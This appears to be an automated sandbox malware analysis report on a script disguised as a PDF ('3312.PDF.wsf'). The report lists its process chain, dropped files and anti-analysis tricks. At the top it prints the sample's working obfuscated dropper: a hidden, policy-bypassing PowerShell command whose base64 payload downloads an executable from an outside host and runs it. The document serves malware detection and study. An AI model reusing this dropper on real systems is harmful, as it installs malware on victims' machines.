Anti Malware Scan Interface: createobject("sh"& e &"ll.application")execute("pow = ""pow""& e &""rsh""& e &""ll""")sh.ShellExecute "cmD."& e &"x"& e, "/c "& pow &" -nop -w hidd"& e &"n -"& e &"p bypass -"& e &"nc JABwAGEAdABoACAAPQAgACQARQBuAHYAOgB0AGUAbQBwACsAJwBcAG8AQgB1AGYALgBlAHgAZQAnADsAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgACQAYwBsAGkAZQBuAHQALgBkAG8AdwBuAGwAbwBhAGQAZgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBiAGUAcwB0AG0AYQBnAGEAegBpAG4AZQBmAG8AcgBhAG4AaQBtAGEAbABzAHUAbgBpAGMAdQBtAC4AcgB1AC8AZABvAHcAbgBsAG8AYQBkAC8AcwB2AGMALgBlAHgAZQAnACwAJABwAGEAdABoACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABhAHQAaAA=", "", "op"& e &"n", 0'jojfojweoijfowefwefoijweofijwoeijfowejfoiwejfoijweoifjweojfoiwejfoweoifjowiejfowiejfojwefjwoeijfiowejfiojweoijfoiewjfoijwoejfwefj'joifjiorjfoiwejfoweijfohirbgfvinfvunevuireiuveuirhviurheiurvhiherihveiurhvihervuheirhviheruhvieuviuehrviherhvierhfherihvirehvhrve'jojfojweoijfowefwefoijweofijwoeijfowejfoiwejfoijweoifjweojfoiwejfoweoifjowiejfowiejfojwefjwoeijfiowejfiojweoijfoiewjfoijwoejfwefj'joifjiorjfoiwejfoweijfohirbgfvinfvunevuireiuveuirhviurheiurvhiherihveiurhvihervuheirhviheruhvieuviuehrviherhvierhfherihvirehvhrve'jojfojweoijfowefwefoijweofijwoeijfowejfoiwejfoijweoifjweojfoiwejfoweoifjowiejfowiejfojwefjwoeijfiowejfiojweoijfoiewjfoijwoejfwefj'joifjiorjfoiwejfoweijfohirbgfvinfvunevuireiuveuirhviurheiurvhiherihveiurhvihervuheirhviheruhvieuviuehrviherhvierhfherihvirehvhrve'jojfojweoijfowefwefoijweofijwoeijfowejfoiwejfoijweoifjweojfoiwejfoweoifjowiejfowiejfojwefjwoeijfiowejfiojweoijfoiewjfoijwoejfwefj'joifjiorjfoiwejfoweijfohirbgfvinfvunevuireiuveuirhviurheiurvhiherihveiurhvihervuheirhviheruhvieuviuehrviherhvierhfherihvirehvhrve'jojfojweoijfowefwefoijweofijwoeijfowejfoiwejfoijweoifjweojfoiwejfoweoifjowiejfowiejfojwefjwoeijfiowejfiojweoijfoiewjfoijwoejfwefj'joifjiorjfoiwejfoweijfohirbgfvinfvunevuireiuveuirhviurheiurvhiherihveiurhvihervuheirhviheruhvieuviuehrviherhvierhfherihvirehvhrve'jojfojweoijfowefwefoijweofijwoeijfowejfoiwejfoijweoifjweojfoiwejfoweoifjowiejfowiejfojwefjwoeijfiowejfiojweoijfoiewjfoijwoejfwefj'joifjiorjfoiwejfoweijfohirbgfvinfvunevuireiuveuirhviurheiurvhiherihveiurhvihervuheirhviheruhvieuviuehrviherhvierhfherihvirehvhrve'jojfojweoijfowefwefoijweofijwoeijfowejfoiwejfoijweoifjweojfoiwejfoweoifjowiejfowiejfojwefjwoeijfiowejfiojweoijfoiewjfoijwoejfwefj'joifjiorjfoiwejfoweijfohirbgfvinfvunevuireiuveuirhviurheiurvhiherihveiurhvihervuheirhviheruhvieuviuehrviherhvierhfherihvirehvhrve'jojfojweoijfowefwefoijweofijwoeijfowejfoiwejfoijweoifjweojfoiwejfoweoifjowiejfowiejfojwefjwoeijfiowejfiojweoijfoiewjfoijwoejfwefj'joifjiorjfoiwejfoweijfohirbgfvinfvunevuireiuveuirhviurheiurvhiherihveiurhvihervuheirhviheruhvieuviuehrviherhvierhfherihvirehvhrve'jojfojweoijfowefwefoijweofijwoeijfowejfoiwejfoijweoifjweojfoiwejfoweoifjowiejfowiejfojwefjwoeijfiowejfiojweoijfoiewjfoijwoejfwefj'joifjiorjfoiwejfoweijfohirbgfvinfvunevuireiuveuirhviurheiurvhiherihveiurhvi

PowerShell case anomaly found

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powErshEll -nop -w hiddEn -Ep bypass -Enc JABwAGEAdABoACAAPQAgACQARQBuAHYAOgB0AGUAbQBwACsAJwBcAG8AQgB1AGYALgBlAHgAZQAnADsAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgACQAYwBsAGkAZQBuAHQALgBkAG8AdwBuAGwAbwBhAGQAZgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBiAGUAcwB0AG0AYQBnAGEAegBpAG4AZQBmAG8AcgBhAG4AaQBtAGEAbABzAHUAbgBpAGMAdQBtAC4AcgB1AC8AZABvAHcAbgBsAG8AYQBkAC8AcwB2AGMALgBlAHgAZQAnACwAJABwAGEAdABoACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABhAHQAaAA=
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powErshEll -nop -w hiddEn -Ep bypass -Enc JABwAGEAdABoACAAPQAgACQARQBuAHYAOgB0AGUAbQBwACsAJwBcAG8AQgB1AGYALgBlAHgAZQAnADsAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgACQAYwBsAGkAZQBuAHQALgBkAG8AdwBuAGwAbwBhAGQAZgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBiAGUAcwB0AG0AYQBnAGEAegBpAG4AZQBmAG8AcgBhAG4AaQBtAGEAbABzAHUAbgBpAGMAdQBtAC4AcgB1AC8AZABvAHcAbgBsAG8AYQBkAC8AcwB2AGMALgBlAHgAZQAnACwAJABwAGEAdABoACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABhAHQAaAA=
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powErshEll -nop -w hiddEn -Ep bypass -Enc JABwAGEAdABoACAAPQAgACQARQBuAHYAOgB0AGUAbQBwACsAJwBcAG8AQgB1AGYALgBlAHgAZQAnADsAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgACQAYwBsAGkAZQBuAHQALgBkAG8AdwBuAGwAbwBhAGQAZgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBiAGUAcwB0AG0AYQBnAGEAegBpAG4AZQBmAG8AcgBhAG4AaQBtAGEAbABzAHUAbgBpAGMAdQBtAC4AcgB1AC8AZABvAHcAbgBsAG8AYQBkAC8AcwB2AGMALgBlAHgAZQAnACwAJABwAGEAdABoACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABhAHQAaAA=	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powErshEll -nop -w hiddEn -Ep bypass -Enc JABwAGEAdABoACAAPQAgACQARQBuAHYAOgB0AGUAbQBwACsAJwBcAG8AQgB1AGYALgBlAHgAZQAnADsAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgACQAYwBsAGkAZQBuAHQALgBkAG8AdwBuAGwAbwBhAGQAZgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBiAGUAcwB0AG0AYQBnAGEAegBpAG4AZQBmAG8AcgBhAG4AaQBtAGEAbABzAHUAbgBpAGMAdQBtAC4AcgB1AC8AZABvAHcAbgBsAG8AYQBkAC8AcwB2AGMALgBlAHgAZQAnACwAJABwAGEAdABoACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABhAHQAaAA=	Jump to behavior

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powErshEll -nop -w hiddEn -Ep bypass -Enc JABwAGEAdABoACAAPQAgACQARQBuAHYAOgB0AGUAbQBwACsAJwBcAG8AQgB1AGYALgBlAHgAZQAnADsAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgACQAYwBsAGkAZQBuAHQALgBkAG8AdwBuAGwAbwBhAGQAZgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBiAGUAcwB0AG0AYQBnAGEAegBpAG4AZQBmAG8AcgBhAG4AaQBtAGEAbABzAHUAbgBpAGMAdQBtAC4AcgB1AC8AZABvAHcAbgBsAG8AYQBkAC8AcwB2AGMALgBlAHgAZQAnACwAJABwAGEAdABoACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABhAHQAaAA=
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powErshEll -nop -w hiddEn -Ep bypass -Enc JABwAGEAdABoACAAPQAgACQARQBuAHYAOgB0AGUAbQBwACsAJwBcAG8AQgB1AGYALgBlAHgAZQAnADsAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgACQAYwBsAGkAZQBuAHQALgBkAG8AdwBuAGwAbwBhAGQAZgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBiAGUAcwB0AG0AYQBnAGEAegBpAG4AZQBmAG8AcgBhAG4AaQBtAGEAbABzAHUAbgBpAGMAdQBtAC4AcgB1AC8AZABvAHcAbgBsAG8AYQBkAC8AcwB2AGMALgBlAHgAZQAnACwAJABwAGEAdABoACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABhAHQAaAA=			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FF7C13900BD pushad ; iretd	4_2_00007FF7C13900C1
Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	Code function: 5_2_0040237B push 000023C2h; retn 0023h	5_2_0040238B
Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	Code function: 5_2_004025DC push ebp; ret	5_2_004025FC
Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	Code function: 5_2_00401284 pushad ; iretd	5_2_00401286
Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	Code function: 5_2_006A2643 push ebp; ret	5_2_006A2663
Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	Code function: 5_2_006A12EB pushad ; iretd	5_2_006A12ED
Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	Code function: 5_2_006A23E2 push 000023C2h; retn 0023h	5_2_006A23F2
Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	Code function: 5_2_0091141C pushad ; iretd	5_2_0091141E
Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	Code function: 5_2_00917C54 push esp; ret	5_2_00917C55
Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	Code function: 5_2_0091AD5B push edx; retf	5_2_0091AE31
Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	Code function: 5_2_00912F41 push es; retf	5_2_00912F58
Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	Code function: 5_2_0090D54C push eax; retf	5_2_0090D575
Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	Code function: 5_2_00914671 push ebx; ret	5_2_00914674
Source: C:\Users\user\AppData\Roaming\wbfgshs	Code function: 10_2_0040237B push 000023C2h; retn 0023h	10_2_0040238B
Source: C:\Users\user\AppData\Roaming\wbfgshs	Code function: 10_2_004025DC push ebp; ret	10_2_004025FC
Source: C:\Users\user\AppData\Roaming\wbfgshs	Code function: 10_2_00401284 pushad ; iretd	10_2_00401286
Source: C:\Users\user\AppData\Roaming\wbfgshs	Code function: 10_2_007B2643 push ebp; ret	10_2_007B2663
Source: C:\Users\user\AppData\Roaming\wbfgshs	Code function: 10_2_007B12EB pushad ; iretd	10_2_007B12ED
Source: C:\Users\user\AppData\Roaming\wbfgshs	Code function: 10_2_007B23E2 push 000023C2h; retn 0023h	10_2_007B23F2
Source: C:\Users\user\AppData\Roaming\wbfgshs	Code function: 10_2_007F7B7C push esp; ret	10_2_007F7B7D
Source: C:\Users\user\AppData\Roaming\wbfgshs	Code function: 10_2_007F2E69 push es; retf	10_2_007F2E80
Source: C:\Users\user\AppData\Roaming\wbfgshs	Code function: 10_2_007F1344 pushad ; iretd	10_2_007F1346
Source: C:\Users\user\AppData\Roaming\wbfgshs	Code function: 10_2_007F4599 push ebx; ret	10_2_007F459C

Source: oBuf.exe.4.dr	Static PE information: section name: .text entropy: 7.486630625699931
Source: wbfgshs.9.dr	Static PE information: section name: .text entropy: 7.486630625699931

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\oBuf.exe			Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\wbfgshs			Jump to dropped file

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\wbfgshs

Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Windows\explorer.exe

File opened: C:\Users\user\AppData\Roaming\wbfgshs:Zone.Identifier read attributes | delete

Jump to behavior

Uses an obfuscated file name to hide its real file extension (double extension)

Source: Possible double extension: pdf.wsf

Static PE information: 3312.PDF.wsf

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Checks if the current machine is a virtual machine (disk enumeration)

Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wbfgshs	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wbfgshs	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wbfgshs	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wbfgshs	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wbfgshs	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wbfgshs	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior

Found evasive API chain (may stop execution after checking system information)

Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	Evasive API call chain: NtQuerySystemInformation,DecisionNodes,Sleep			graph_5-4070
Source: C:\Users\user\AppData\Roaming\wbfgshs	Evasive API call chain: NtQuerySystemInformation,DecisionNodes,Sleep			graph_10-4166

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	API/Special instruction interceptor: Address: 7FF8418CE814
Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	API/Special instruction interceptor: Address: 7FF8418CD584
Source: C:\Users\user\AppData\Roaming\wbfgshs	API/Special instruction interceptor: Address: 7FF8418CE814
Source: C:\Users\user\AppData\Roaming\wbfgshs	API/Special instruction interceptor: Address: 7FF8418CD584

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: oBuf.exe, 00000005.00000002.1658968275.00000000008FE000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: ASWHOOK

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4760	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5097	Jump to behavior
